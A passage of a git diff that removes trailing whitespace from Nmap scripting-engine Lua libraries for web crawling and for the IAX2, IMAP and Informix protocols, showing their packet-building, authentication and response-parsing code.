stdnse.print_debug("%s: WARNING: Script argument could not be loaded as scriptname was not set", LIBRARY_NAME) return end - + if ( nil == self.options.maxdepth ) then self.options.maxdepth = tonumber(stdnse.get_script_args(sn .. ".maxdepth")) end @@ -893,9 +893,9 @@ Crawler = { if ( nil == self.options.doscraping ) then self.options.doscraping = stdnse.get_script_args(sn .. ".doscraping") end - + end, - + -- Loads the argument on a library level loadLibraryArguments = function(self) local ln = LIBRARY_NAME @@ -925,7 +925,7 @@ Crawler = { self.options.doscraping = stdnse.get_script_args(ln .. ".doscraping") end end, - + -- Loads any defaults for arguments that were not set loadDefaultArguments = function(self) local function tobool(b) @@ -948,7 +948,7 @@ Crawler = { end return b end - + if self.options.withinhost == 0 then self.options.withinhost = false end @@ -977,8 +977,8 @@ Crawler = { self.options.maxdepth = tonumber(self.options.maxdepth) or 3 self.options.maxpagecount = tonumber(self.options.maxpagecount) or 20 self.url = self.url or '/' - end, - + end, + -- gets a string of limitations imposed on the crawl getLimitations = function(self) local o = self.options @@ -998,12 +998,12 @@ Crawler = { table.insert(limits, ("withinhost=%s"):format(o.base_url:getHost())) end end - + if ( #limits > 0 ) then return ("Spidering limited to: %s"):format(stdnse.strjoin("; ", limits)) end end, - + -- does the crawling crawl = function(self) self.response_queue = self.response_queue or {} @@ -1013,7 +1013,7 @@ Crawler = { end if ( #self.response_queue == 0 and coroutine.status(self.thread) ~= 'dead') then - condvar "wait" + condvar "wait" end condvar "signal" if ( #self.response_queue == 0 ) then @@ -1022,7 +1022,7 @@ Crawler = { return table.unpack(table.remove(self.response_queue, 1)) end end, - + -- signals the crawler to stop stop = function(self) local condvar = nmap.condvar(self.response_queue) diff --git a/nselib/iax2.lua b/nselib/iax2.lua index 4d23b8372..34f8474af 100644 --- a/nselib/iax2.lua +++ b/nselib/iax2.lua @@ -17,11 +17,11 @@ _ENV = stdnse.module("iax2", stdnse.seeall) IAX2 = { - + FrameType = { - IAX = 6, + IAX = 6, }, - + SubClass = { ACK = 0x04, REGACK = 0x0f, @@ -29,21 +29,21 @@ IAX2 = { REGREL = 0x11, CALLTOKEN = 0x28, }, - + InfoElement = { - USERNAME = 0x06, + USERNAME = 0x06, CHALLENGE = 0x0f, MD5_RESULT = 0x10, CALLTOKEN = 0x36, }, - + PacketType = { FULL = 1, }, - + -- The IAX2 Header Header = { - + -- Creates a new Header instance -- @param src_call number containing the source call -- @param dst_call number containing the dest call @@ -68,9 +68,9 @@ IAX2 = { self.__index = self return o end, - + -- Parses data, a byte string, and creates a new Header instance - -- @return header instance of Header + -- @return header instance of Header parse = function(data) local header = IAX2.Header:new() local pos, frame_type = bin.unpack("C", data) @@ -90,13 +90,13 @@ IAX2 = { end pos, header.dst_call = bin.unpack(">S", data, pos - 1) header.dst_call = bit.band(header.dst_call, 0x7FFF) - - pos, header.timestamp, header.oseqno, + + pos, header.timestamp, header.oseqno, header.iseqno, header.frametype, header.subclass = bin.unpack(">ICCCC", data, pos) - + return header end, - + -- Converts the instance to a string -- @return str containing the instance __tostring = function(self) @@ -114,10 +114,10 @@ IAX2 = { self.oseqno, self.iseqno, self.frametype, self.subclass) end, }, - + -- The IAX2 Request class Request = { - + -- Creates a new instance -- @param header instance of Header new = function(self, header) @@ -127,9 +127,9 @@ IAX2 = { } setmetatable(o, self) self.__index = self - return o + return o end, - + -- Sets an Info Element or adds one, in case it's missing -- @param key the key value of the IE to add -- @param value string containing the value to set or add @@ -141,7 +141,7 @@ IAX2 = { end table.insert(self.ies, { type = key, value = value } ) end, - + -- Gets an information element -- @param key number containing the element number to retrieve -- @return ie table containing the info element if it exists @@ -160,24 +160,24 @@ IAX2 = { for _, ie in ipairs(self.ies) do data = data .. bin.pack("Cp", ie.type, ie.value ) end - + return tostring(self.header) .. data end, - + }, - - + + -- The IAX2 Response Response = { - + -- Creates a new instance new = function(self) local o = { ies = {} } setmetatable(o, self) self.__index = self - return o + return o end, - + -- Sets an Info Element or adds one, in case it's missing -- @param key the key value of the IE to add -- @param value string containing the value to set or add @@ -189,7 +189,7 @@ IAX2 = { end table.insert(self.ies, { type = key, value = value } ) end, - + -- Gets an information element -- @param key number containing the element number to retrieve -- @return ie table containing the info element if it exists @@ -200,16 +200,16 @@ IAX2 = { end end end, - + -- Parses data, a byte string, and creates a response - -- @return resp instance of response + -- @return resp instance of response parse = function(data) local resp = IAX2.Response:new() if ( not(resp) ) then return end resp.header = IAX2.Header.parse(data) if ( not(resp.header) ) then return end - + local pos = 13 resp.ies = {} repeat @@ -219,14 +219,14 @@ IAX2 = { until( pos > #data ) return resp end, - + } - + } Helper = { - + -- Creates a new Helper instance -- @param host table as received by the action method -- @param port table as received by the action method @@ -237,9 +237,9 @@ Helper = { local o = { host = host, port = port, options = options or {} } setmetatable(o, self) self.__index = self - return o + return o end, - + -- Connects the UDP socket to the server -- @return status true on success, false on failure -- @return err message containing error if status is false @@ -248,7 +248,7 @@ Helper = { self.socket:set_timeout(self.options.timeout or 5000) return self.socket:connect(self.host, self.port) end, - + -- Sends a request to the server and receives the response -- @param req instance containing the request to send to the server -- @return status true on success, false on failure @@ -263,11 +263,11 @@ Helper = { if ( not(status) ) then return false, "Failed to receive response from server" end - + local resp = IAX2.Response.parse(data) return true, resp end, - + -- Request a session release -- @param username string containing the extention (username) -- @param password string containing the password @@ -299,45 +299,45 @@ Helper = { if ( not(status) ) then return false, resp end - + local challenge = resp:getIE(IAX2.InfoElement.CHALLENGE) if ( not(challenge) ) then return false, "Failed to retrieve challenge from server" end - + regrel.header.iseqno = 1 regrel.header.oseqno = 1 regrel.header.dst_call = resp.header.src_call regrel.ies = {} - + local hash = stdnse.tohex(openssl.md5(challenge.value .. password)) regrel:setIE(IAX2.InfoElement.USERNAME, username) regrel:setIE(IAX2.InfoElement.MD5_RESULT, hash) - + status, resp = self:exch(regrel) if ( not(status) ) then return false, resp end - + if ( IAX2.SubClass.ACK == resp.header.subclass ) then local data - status, data = self.socket:receive() + status, data = self.socket:receive() resp = IAX2.Response.parse(data) end - + if ( status and IAX2.SubClass.REGACK == resp.header.subclass ) then return true end return false, "Release failed" end, - + -- Close the connection with the server -- @return true on success, false on failure close = function(self) return self.socket:close() end, - - + + } return _ENV; diff --git a/nselib/imap.lua b/nselib/imap.lua index 7112bdb96..f75bccf38 100644 --- a/nselib/imap.lua +++ b/nselib/imap.lua @@ -33,7 +33,7 @@ _ENV = stdnse.module("imap", stdnse.seeall) IMAP = { - + --- Creates a new instance of the IMAP class -- -- @param host table as received by the script action method @@ -42,17 +42,17 @@ IMAP = { -- timeout - number containing the seconds to wait for -- a response new = function(self, host, port, options) - local o = { + local o = { host = host, port = port, - counter = 1, - timeout = ( options and options.timeout ) or 10000 + counter = 1, + timeout = ( options and options.timeout ) or 10000 } setmetatable(o, self) self.__index = self return o end, - + --- Receives a response from the IMAP server -- -- @return status true on success, false on failure @@ -64,10 +64,10 @@ IMAP = { if( not(status) ) then return false, tmp end data = data .. tmp until( tmp:match(("^A%04d"):format(self.counter - 1)) or tmp:match("^%+")) - + return true, data end, - + --- Sends a request to the IMAP server -- -- @param cmd string containing the command to send to the server eg. @@ -87,7 +87,7 @@ IMAP = { self.counter = self.counter + 1 return true end, - + --- Connect to the server -- -- @return status true on success, false on failure @@ -100,7 +100,7 @@ IMAP = { self.socket = socket return true, banner end, - + --- Authenticate to the server (non PLAIN text mode) -- Currently supported algorithms are CRAM-MD5 and CRAM-SHA1 -- @@ -113,26 +113,26 @@ IMAP = { authenticate = function(self, username, pass, mech) assert( mech == "NTLM" or mech == "DIGEST-MD5" or - mech == "CRAM-MD5" or + mech == "CRAM-MD5" or mech == "PLAIN", "Unsupported authentication mechanism") - + local status, err = self:send("AUTHENTICATE", mech) if( not(status) ) then return false, "ERROR: Failed to send data" end local status, data = self:receive() if( not(status) ) then return false, "ERROR: Failed to receive challenge" end - + if ( mech == "NTLM" ) then -- sniffed of the wire, seems to always be the same -- decodes to some NTLMSSP blob greatness status, data = self.socket:send("TlRMTVNTUAABAAAAB7IIogYABgA3AAAADwAPACgAAAAFASgKAAAAD0FCVVNFLUFJUi5MT0NBTERPTUFJTg==\r\n") if ( not(status) ) then return false, "ERROR: Failed to send NTLM packet" end status, data = self:receive() - if ( not(status) ) then return false, "ERROR: Failed to receieve NTLM challenge" end + if ( not(status) ) then return false, "ERROR: Failed to receieve NTLM challenge" end end - + if ( data:match(("^A%04d "):format(self.counter-1)) ) then return false, "ERROR: Authentication mechanism not supported" end @@ -142,19 +142,19 @@ IMAP = { return false, "ERROR: Failed to receive proper response from server" end data = base64.dec(data:match("^+ (.*)")) - + -- All mechanisms expect username and pass -- add the otheronce for those who need them local mech_params = { username, pass, data, "imap" } auth_data = sasl.Helper:new(mech):encode(table.unpack(mech_params)) auth_data = base64.enc(auth_data) .. "\r\n" - + status, data = self.socket:send(auth_data) if( not(status) ) then return false, "ERROR: Failed to send data" end status, data = self:receive() if( not(status) ) then return false, "ERROR: Failed to receive data" end - + if ( mech == "DIGEST-MD5" ) then local rspauth = data:match("^+ (.*)") if ( rspauth ) then @@ -168,7 +168,7 @@ IMAP = { end return false, "Login failed" end, - + --- Login to the server using PLAIN text authentication -- -- @param username string containing the username @@ -178,16 +178,16 @@ IMAP = { login = function(self, username, password) local status, err = self:send("LOGIN", ("\"%s\" \"%s\""):format(username, password)) if( not(status) ) then return false, "ERROR: Failed to send data" end - + local status, data = self:receive() if( not(status) ) then return false, "ERROR: Failed to receive data" end - + if ( data:match(("^A%04d OK"):format(self.counter - 1)) ) then return true end return false, "Login failed" end, - + --- Retrieves a list of server capabilities (eg. supported authentication -- mechanisms, QUOTA, UIDPLUS, ACL ...) -- @@ -198,11 +198,11 @@ IMAP = { local proto = (self.port.version and self.port.version.service_tunnel == "ssl" and "ssl") or "tcp" local status, err = self:send("CAPABILITY") if( not(status) ) then return false, err end - + local status, line = self:receive() if (not(status)) then capas.CAPABILITY = false - else + else while status do if ( line:match("^%*%s+CAPABILITY") ) then line = line:gsub("^%*%s+CAPABILITY", "") @@ -216,17 +216,17 @@ IMAP = { end return true, capas end, - + --- Closes the connection to the IMAP server -- @return true on success, false on failure close = function(self) return self.socket:close() end - + } -- The helper class, that servers as interface to script writers Helper = { - + -- @param host table as received by the script action method -- @param port table as received by the script action method -- @param options table containing options, currently @@ -238,13 +238,13 @@ Helper = { self.__index = self return o end, - + --- Connects to the IMAP server -- @return status true on success, false on failure connect = function(self) return self.client:connect() end, - + --- Login to the server using eithe plain-text or using the authentication -- mechanism provided in the mech argument. -- @@ -259,7 +259,7 @@ Helper = { return self.client:authenticate(username, password, mech) end end, - + --- Retrieves a list of server capabilities (eg. supported authentication -- mechanisms, QUOTA, UIDPLUS, ACL ...) -- @@ -268,13 +268,13 @@ Helper = { capabilities = function(self) return self.client:capabilities() end, - + --- Closes the connection to the IMAP server -- @return true on success, false on failure close = function(self) return self.client:close() end, - + } return _ENV; diff --git a/nselib/informix.lua b/nselib/informix.lua index 3d9d70da7..e533e25fb 100644 --- a/nselib/informix.lua +++ b/nselib/informix.lua @@ -29,13 +29,13 @@ -- - A helper class that provides easy access to the rest of the library -- -- o Socket --- - This is a copy of the DB2Socket class which provides fundamental +-- - This is a copy of the DB2Socket class which provides fundamental -- buffering -- -- In addition the library contains the following tables with decoder functions -- -- o MetaDataDecoders --- - Contains functions to decode the column metadata per data type +-- - Contains functions to decode the column metadata per data type -- -- o DataTypeDecoders -- - Contains function to decode each data-type in the query resultset @@ -59,7 +59,7 @@ -- ---------------------- -- The implementation is based on analysis of packet dumps and has been tested -- against: --- +-- -- x IBM Informix Dynamic Server Express Edition v11.50 32-bit on Ubuntu -- x IBM Informix Dynamic Server xxx 32-bit on Windows 2003 -- @@ -100,7 +100,7 @@ Constants = SQ_INFO = 0x51, SQ_PROTOCOLS = 0x7e, }, - + -- A subset of supported data types DataType = { CHAR = 0x00, @@ -112,7 +112,7 @@ Constants = DATETIME = 0x0a, VARCHAR = 0x0d, }, - + -- These were the ones I ran into when developing :-) ErrorMsg = { [-201] = "A syntax error has occurred.", @@ -135,7 +135,7 @@ Constants = -- A socket implementation that provides fundamental buffering and allows for -- reading of an exact number of bytes, instead of atleast ... Socket = -{ +{ new = function(self, socket) local o = {} setmetatable(o, self) @@ -144,7 +144,7 @@ Socket = o.Buffer = nil return o end, - + --- Establishes a connection. -- @@ -158,7 +158,7 @@ Socket = local status = self.Socket:set_timeout(20000) return self.Socket:connect( hostid, port, protocol ) end, - + --- Closes an open connection. -- -- @return Status (true or false). @@ -166,7 +166,7 @@ Socket = close = function( self ) return self.Socket:close() end, - + --- Opposed to the socket:receive_bytes function, that returns -- at least x bytes, this function returns the amount of bytes requested. -- @@ -176,9 +176,9 @@ Socket = -- err containing error message if status is false recv = function( self, count ) local status, data - + self.Buffer = self.Buffer or "" - + if ( #self.Buffer < count ) then status, data = self.Socket:receive_bytes( count - #self.Buffer ) if ( not(status) or #data < count - #self.Buffer ) then @@ -186,13 +186,13 @@ Socket = end self.Buffer = self.Buffer .. data end - + data = self.Buffer:sub( 1, count ) self.Buffer = self.Buffer:sub( count + 1) - - return true, data + + return true, data end, - + --- Sends data over the socket -- -- @return Status (true or false). @@ -204,7 +204,7 @@ Socket = -- The ColMetaData class ColMetaData = { - + ---Creates a new ColMetaData instance -- -- @return object a new instance of ColMetaData @@ -214,12 +214,12 @@ ColMetaData = { self.__index = self return o end, - + --- Sets the datatype -- -- @param typ number containing the datatype setType = function( self, typ ) self.type = typ end, - + --- Sets the name -- -- @param name string containing the name @@ -230,7 +230,7 @@ ColMetaData = { -- -- @param len number containing the length of the column setLength = function( self, len ) self.len = len end, - + --- Gets the column type -- -- @return typ the column type @@ -240,7 +240,7 @@ ColMetaData = { -- -- @return name the column name getName = function( self ) return self.name end, - + --- Gets the column length -- -- @return len the column length @@ -252,19 +252,19 @@ Packet = {} -- MetaData decoders used to decode the information for each data type in the -- meta data returned by the server -- --- The decoders, should be self explanatory +-- The decoders, should be self explanatory MetaDataDecoders = { - + [Constants.DataType.INT] = function( data ) local col_md = ColMetaData:new( ) local pos = 19 - + if ( #data < pos ) then return false, "Failed to decode meta data for data type INT" end - + local _, len = bin.unpack(">S", data, pos) col_md:setLength(len) col_md:setType( Constants.DataType.INT ) - + return true, col_md end, @@ -274,7 +274,7 @@ MetaDataDecoders = { return false, "Failed to decode metadata for data type CHAR" end col_md:setType( Constants.DataType.CHAR ) - + return true, col_md end, @@ -282,7 +282,7 @@ MetaDataDecoders = { local status, col_md = MetaDataDecoders[Constants.DataType.INT]( data ) if( not(status) ) then return false, "Failed to decode metadata for data type CHAR" end col_md:setType( Constants.DataType.VARCHAR ) - + return true, col_md end, @@ -290,7 +290,7 @@ MetaDataDecoders = { local status, col_md = MetaDataDecoders[Constants.DataType.INT]( data ) if( not(status) ) then return false, "Failed to decode metadata for data type SMALLINT" end col_md:setType( Constants.DataType.SMALLINT ) - + return true, col_md end, @@ -298,7 +298,7 @@ MetaDataDecoders = { local status, col_md = MetaDataDecoders[Constants.DataType.INT]( data ) if( not(status) ) then return false, "Failed to decode metadata for data type SMALLINT" end col_md:setType( Constants.DataType.SERIAL ) - + return true, col_md end, @@ -307,7 +307,7 @@ MetaDataDecoders = { if( not(status) ) then return false, "Failed to decode metadata for data type DATETIME" end col_md:setType( Constants.DataType.DATETIME ) col_md:setLength(10) - + return true, col_md end, @@ -315,28 +315,28 @@ MetaDataDecoders = { local status, col_md = MetaDataDecoders[Constants.DataType.INT]( data ) if( not(status) ) then return false, "Failed to decode metadata for data type DATETIME" end col_md:setType( Constants.DataType.FLOAT ) - + return true, col_md end, - + [Constants.DataType.DATE] = function( data ) local status, col_md = MetaDataDecoders[Constants.DataType.INT]( data ) if( not(status) ) then return false, "Failed to decode metadata for data type DATETIME" end col_md:setType( Constants.DataType.DATE ) - + return true, col_md end, - - + + } -- DataType decoders used to decode result set returned from the server -- This class is still incomplete and some decoders just adjust the offset -- position rather than decode the value. -- --- The decoders, should be self explanatory +-- The decoders, should be self explanatory DataTypeDecoders = { - + [Constants.DataType.INT] = function( data, pos ) return bin.unpack(">i", data, pos) end, @@ -359,27 +359,27 @@ DataTypeDecoders = { [Constants.DataType.CHAR] = function( data, pos, len ) local pos, ret = bin.unpack("A" .. len, data, pos) - return pos, Util.ifxToLuaString( ret ) + return pos, Util.ifxToLuaString( ret ) end, [Constants.DataType.VARCHAR] = function( data, pos, len ) local pos, len = bin.unpack("C", data, pos) local ret - - pos, ret = bin.unpack("A" .. len, data, pos) + + pos, ret = bin.unpack("A" .. len, data, pos) return pos, Util.ifxToLuaString( ret ) end, - + [Constants.DataType.DATETIME] = function( data, pos ) return pos + 10, "DATETIME" end, - + } -- The MessageDecoders class "holding" the Response Decoders MessageDecoders = { - + --- Decodes the SQ_ERR error message -- -- @param socket already connected to the Informix database server @@ -391,24 +391,24 @@ MessageDecoders = { local _, svcerr, oserr, errmsg, str, len, pos if( not(status) ) then return false, "Failed to decode error response" end - + pos, svcerr, oserr, _, len = bin.unpack(">ssss", data ) - + if( len and len > 0 ) then status, data = socket:recv(len) if( not(status) ) then return false, "Failed to decode error response" end _, str = bin.unpack("A" .. len, data) end - + status, data = socket:recv(2) - + errmsg = Constants.ErrorMsg[svcerr] if ( errmsg and str ) then errmsg = errmsg:format(str) end return false, errmsg or ("Informix returned an error (svcerror: %d, oserror: %d)"):format( svcerr, oserr ) end, - + --- Decodes the SQ_PROTOCOLS message -- -- @param socket already connected to the Informix database server @@ -417,7 +417,7 @@ MessageDecoders = { [Constants.Message.SQ_PROTOCOLS] = function( socket ) local status, data local len, _ - + status, data = socket:recv(2) if( not(status) ) then return false, "Failed to decode SQ_PROTOCOLS response" end _, len = bin.unpack(">S", data ) @@ -425,14 +425,14 @@ MessageDecoders = { -- read the remaining data return socket:recv(len + 2) end, - + --- Decodes the SQ_EOT message -- -- @return status, always true - [Constants.Message.SQ_EOT] = function( socket ) + [Constants.Message.SQ_EOT] = function( socket ) return true end, - + --- Decodes the SQ_DONE message -- -- @param socket already connected to the Informix database server @@ -443,7 +443,7 @@ MessageDecoders = { local _, len, tmp if( not(status) ) then return false, "Failed to decode SQ_DONE response" end _, len = bin.unpack(">S", data ) - + -- For some *@#! reason the SQ_DONE packet sometimes contains an -- length exeeding the length of the packet by one. Attempt to -- detect this and fix. @@ -451,7 +451,7 @@ MessageDecoders = { _, tmp = bin.unpack(">S", data, len - 2) return socket:recv( (tmp == 0) and 3 or 4 ) end, - + --- Decodes the metadata for a result set -- -- @param socket already connected to the Informix database server @@ -462,7 +462,7 @@ MessageDecoders = { local pos, cols, col_type, col_name, col_len, col_md, stmt_id local coldesc_len, x local column_meta = {} - + if( not(status) ) then return false, "Failed to decode SQ_DESCRIBE response" end pos, cols, coldesc_len = bin.unpack(">SS", data, 11) pos, stmt_id = bin.unpack(">S", data, 3) @@ -474,7 +474,7 @@ MessageDecoders = { if( not(status) ) then return false, "Failed to decode SQ_DESCRIBE response" end pos, tmp = bin.unpack(">S", data) - + -- This was the result of a CREATE or UPDATE statement if ( tmp == 0x0f ) then status, data = socket:recv(26) @@ -500,7 +500,7 @@ MessageDecoders = { if( not(status) ) then return false, "Failed to read column meta data" end - + status, col_md = MetaDataDecoders[col_type]( data ) if ( not(status) ) then return false, col_md @@ -508,29 +508,29 @@ MessageDecoders = { else return false, ("No metadata decoder for column type: %d"):format(col_type) end - + if ( iS", data) if( data == Constants.Message.SQ_DONE ) then status, data = socket:recv(26) @@ -539,7 +539,7 @@ MessageDecoders = { end return true, { metadata = column_meta, stmt_id = stmt_id } end, - + --- Processes the result from a query -- -- @param socket already connected to the Informix database server @@ -560,10 +560,10 @@ MessageDecoders = { while (true) do local pos = 1 - + status, data = socket:recv(6) if( not(status) ) then return false, "Failed to read column data" end - + local _, total_len = bin.unpack(">I", data, 3) status, data = socket:recv( ( total_len % 2 == 0 ) and total_len or total_len + 1) if( not(status) ) then return false, "Failed to read column data" end @@ -572,7 +572,7 @@ MessageDecoders = { for _, col in ipairs(info.metadata) do local typ, len, name = col:getType(), col:getLength(), col:getName() local val - + if( DataTypeDecoders[typ] ) then pos, val = DataTypeDecoders[typ]( data, pos, len ) else @@ -582,7 +582,7 @@ MessageDecoders = { end status, data = socket:recv(2) - + local _, flags = bin.unpack(">S", data) count = count + 1 @@ -592,107 +592,107 @@ MessageDecoders = { if ( Constants.Message.SQ_DONE == flags ) then break end - + -- If there's more data we need to send a new SQ_ID packet - if ( flags == Constants.Message.SQ_EOT ) then + if ( flags == Constants.Message.SQ_EOT ) then local status, tmp = socket:send( tostring(Packet.SQ_ID:new( info.id, nil, "continue" ) ) ) local pkt_type - + status, tmp = socket:recv( 2 ) - pos, pkt_type = bin.unpack(">S", tmp) - + pos, pkt_type = bin.unpack(">S", tmp) + return MessageDecoders[pkt_type]( socket, info ) end - + end - + -- read the remaining data status, data = socket:recv( 26 ) if( not(status) ) then return false, "Failed to read column data" end - + -- signal finnish reading status, data = socket:send( tostring(Packet.SQ_ID:new( info.id, nil, "end" ) ) ) status, data = socket:recv( 2 ) - + return true, info - + end, - + --- Decodes a SQ_DBLIST response -- -- @param socket already connected to the Informix database server -- @return status true on success, false on failure -- @return databases array of database names [Constants.Message.SQ_DBLIST] = function( socket ) - + local status, data, pos, len, db local databases = {} - + while( true ) do status, data = socket:recv(2) if ( not(status) ) then return false, "Failed to parse SQ_DBLIST response" end - + pos, len = bin.unpack(">S", data) if ( 0 == len ) then break end - + status, data = socket:recv(len) if ( not(status) ) then return false, "Failed to parse SQ_DBLIST response" end - + pos, db = bin.unpack("A" .. len, data ) table.insert( databases, db ) - + if ( len %2 == 1 ) then socket:recv(1) if ( not(status) ) then return false, "Failed to parse SQ_DBLIST response" end end end - + -- read SQ_EOT status, data = socket:recv(2) - + return true, databases end, - + [Constants.Message.SQ_EXIT] = function( socket ) local status, data = socket:recv(2) if ( not(status) ) then return false, "Failed to parse SQ_EXIT response" end - + return true end - - -} + + +} -- Packet used to request a list of available databases Packet.SQ_DBLIST = { --- Creates a new Packet.SQ_DBLIST instance -- - -- @return object new instance of Packet.SQ_DBLIST + -- @return object new instance of Packet.SQ_DBLIST new = function( self ) local o = {} setmetatable(o, self) self.__index = self return o end, - + --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the packet data + -- @return string containing the packet data __tostring = function(self) return bin.pack(">SS", Constants.Message.SQ_DBLIST, Constants.Message.SQ_EOT) end - + } -- Packet used to open the database Packet.SQ_DBOPEN = { - + --- Creates a new Packet.SQ_DBOPEN instance -- -- @param database string containing the name of the database to open - -- @return object new instance of Packet.SQ_DBOPEN + -- @return object new instance of Packet.SQ_DBOPEN new = function( self, database ) local o = {} setmetatable(o, self) @@ -700,26 +700,26 @@ Packet.SQ_DBOPEN = o.database = database return o end, - + --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the packet data + -- @return string containing the packet data __tostring = function(self) return bin.pack(">SSASS", Constants.Message.SQ_DBOPEN, #self.database, Util.padToOdd(self.database), 0x00, Constants.Message.SQ_EOT) end - + } -- This packet is "a mess" and requires further analysis -Packet.SQ_ID = +Packet.SQ_ID = { --- Creates a new Packet.SQ_ID instance -- -- @param id number containing the statement identifier -- @param s1 number unknown, should be 0 on first call and 1 when more data is requested - -- @return object new instance of Packet.SQ_ID + -- @return object new instance of Packet.SQ_ID new = function( self, id, id2, mode ) local o = {} setmetatable(o, self) @@ -729,21 +729,21 @@ Packet.SQ_ID = o.mode = mode return o end, - + --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the packet data + -- @return string containing the packet data __tostring = function(self) if ( self.mode == "continue" ) then return bin.pack( ">SSSSSS", Constants.Message.SQ_ID, self.seq, 0x0009, 0x1000, 0x0000, Constants.Message.SQ_EOT ) elseif ( self.mode == "end" ) then return bin.pack( ">SSSS", Constants.Message.SQ_ID, self.seq, 0x000a, Constants.Message.SQ_EOT) else - return bin.pack(">SSSSASSSSSSS", Constants.Message.SQ_ID, self.seq, 0x0003, #self.id, self.id, + return bin.pack(">SSSSASSSSSSS", Constants.Message.SQ_ID, self.seq, 0x0003, #self.id, self.id, 0x0006, 0x0004, self.seq, 0x0009, 0x1000, 0x0000, Constants.Message.SQ_EOT ) end end - + } Packet.SQ_INFO = @@ -758,7 +758,7 @@ Packet.SQ_INFO = --- Creates a new Packet.SQ_INFO instance -- -- @param params containing any additional parameters to use - -- @return object new instance of Packet.SQ_INFO + -- @return object new instance of Packet.SQ_INFO new = function( self, params ) local o = {} local params = params or Packet.SQ_INFO.DEFAULT_PARAMETERS @@ -773,28 +773,28 @@ Packet.SQ_INFO = end return o end, - + addParameter = function( self, key, value ) table.insert( self.parameters, { [key] = value } ) end, - + paramToString = function( self, key, value ) return bin.pack(">SASA", #key, Util.padToOdd(key), #value, Util.padToOdd( value ) ) end, - + --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the packet data + -- @return string containing the packet data __tostring = function( self ) local params = "" local data - + for _, v in ipairs( self.parameters ) do for k2, v2 in pairs( v ) do params = params .. self:paramToString( k2, v2 ) end end - + data = bin.pack(">SSSSS", Constants.Message.SQ_INFO, 0x0006, #params + 6, 0x000c, 0x0004 ) data = data .. params .. bin.pack(">SSS", 0x0000, 0x0000, Constants.Message.SQ_EOT) return data @@ -802,14 +802,14 @@ Packet.SQ_INFO = } -- Performs protocol negotiation? -Packet.SQ_PROTOCOLS = +Packet.SQ_PROTOCOLS = { -- hex-encoded data to send as protocol negotiation data = "0007fffc7ffc3c8c8a00000c", --- Creates a new Packet.SQ_PROTOCOLS instance -- - -- @return object new instance of Packet.SQ_PROTOCOLS + -- @return object new instance of Packet.SQ_PROTOCOLS new = function( self ) local o = {} setmetatable(o, self) @@ -819,17 +819,17 @@ Packet.SQ_PROTOCOLS = --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the packet data + -- @return string containing the packet data __tostring = function(self) return bin.pack(">SH", Constants.Message.SQ_PROTOCOLS, self.data) end - + } -- Packet used to execute SELECT Queries -Packet.SQ_PREPARE = +Packet.SQ_PREPARE = { - + --- Creates a new Packet.SQ_PREPARE instance -- -- @param query string containing the query to execute @@ -841,20 +841,20 @@ Packet.SQ_PREPARE = o.query = Util.padToEven(query) return o end, - + --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the packet data + -- @return string containing the packet data __tostring = function(self) return bin.pack(">SIACSSS", Constants.Message.SQ_PREPARE, #self.query, self.query, 0, 0x0016, 0x0031, Constants.Message.SQ_EOT) end - + } -- Packet used to execute commands other than SELECT -Packet.SQ_COMMAND = +Packet.SQ_COMMAND = { - + --- Creates a new Packet.SQ_COMMAND instance -- -- @param query string containing the query to execute @@ -866,14 +866,14 @@ Packet.SQ_COMMAND = o.query = Util.padToEven(query) return o end, - + --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the packet data + -- @return string containing the packet data __tostring = function(self) return bin.pack(">SIACSSSS", Constants.Message.SQ_COMMAND, #self.query, self.query, 0, 0x0016, 0x0007, 0x000b, Constants.Message.SQ_EOT) end - + } Packet.SQ_EXIT = { @@ -887,18 +887,18 @@ Packet.SQ_EXIT = { self.__index = self return o end, - + --- Converts the class to a string suitable to send over the socket -- - -- @return string containing the packet data + -- @return string containing the packet data __tostring = function(self) return bin.pack(">S", Constants.Message.SQ_EXIT) end - + } -- The Utility Class -Util = +Util = { --- Converts a connection parameter to string -- @@ -908,7 +908,7 @@ Util = paramToString = function( param, value ) return bin.pack(">PP", param, value ) end, - + --- Pads a string to an even number of characters -- -- @param str the string to pad @@ -922,11 +922,11 @@ Util = -- -- @param str the string to pad -- @param pad the character to pad with - -- @return result the padded string + -- @return result the padded string padToOdd = function( str, pad ) return (#str % 2 == 0) and str or str .. ( pad and pad or "\0") end, - + --- Formats a table to suitable script output -- -- @param info as returned from ExecutePrepare @@ -936,24 +936,24 @@ Util = local result = {} local metadata = info.metadata local rows = info.rows - + if ( info.error ) then table.insert(result, info.error) return result end - + if ( info.info ) then table.insert(result, info.info) return result end - + if ( not(metadata) ) then return "" end - + for i=1, #metadata do if ( metadata[i]:getType() == Constants.DataType.CHAR and metadata[i]:getLength() < 50) then header = header .. ("%-" .. metadata[i]:getLength() .. "s "):format(metadata[i]:getName()) else - header = header .. metadata[i]:getName() + header = header .. metadata[i]:getName() if ( i<#metadata ) then header = header .. "\t" end @@ -969,7 +969,7 @@ Util = end table.insert( result, row ) end - + return result end, @@ -979,16 +979,16 @@ Util = -- @return ret the string with any trailing nulls removed ifxToLuaString = function( str ) local ret - + if ( not(str) ) then return "" end - + if ( str:sub(-1, -1 ) ~= "\0" ) then return str end for i=1, #str do - if ( str:sub(-i,-i) == "\0" ) then - ret = str:sub(1, -i - 1) + if ( str:sub(-i,-i) == "\0" ) then + ret = str:sub(1, -i - 1) else break end @@ -1004,7 +1004,7 @@ Util = -- The unknown portions in the __tostring method have been derived from Java -- code connecting to Informix using JDBC. Packet.Connect = { - + -- default parameters sent using JDBC DEFAULT_PARAMETERS = { [1] = { ['LOCKDOWN'] = 'no' }, @@ -1020,7 +1020,7 @@ Packet.Connect = { [11] = { ['CLIENT_LOCALE'] = 'en_US.8859-1' }, [12] = { ['SKINHIBIT'] = '0' }, }, - + --- Creates a new Connection packet -- -- @param username string containing the username for authentication @@ -1044,7 +1044,7 @@ Packet.Connect = { for k2, v2 in pairs( v ) do self:addParameter( k2, v2 ) end - end + end end, --- Adds a parameter to the connection packet @@ -1056,10 +1056,10 @@ Packet.Connect = { local tbl = {} tbl[param] = value table.insert( self.parameters, tbl ) - + return true end, - + --- Retrieves the OS error code -- -- @return oserror number containing the OS error code @@ -1074,7 +1074,7 @@ Packet.Connect = { -- -- @return errmsg string containing the "mapped" error message getErrMsg = function( self ) return self.errmsg end, - + --- Reads and 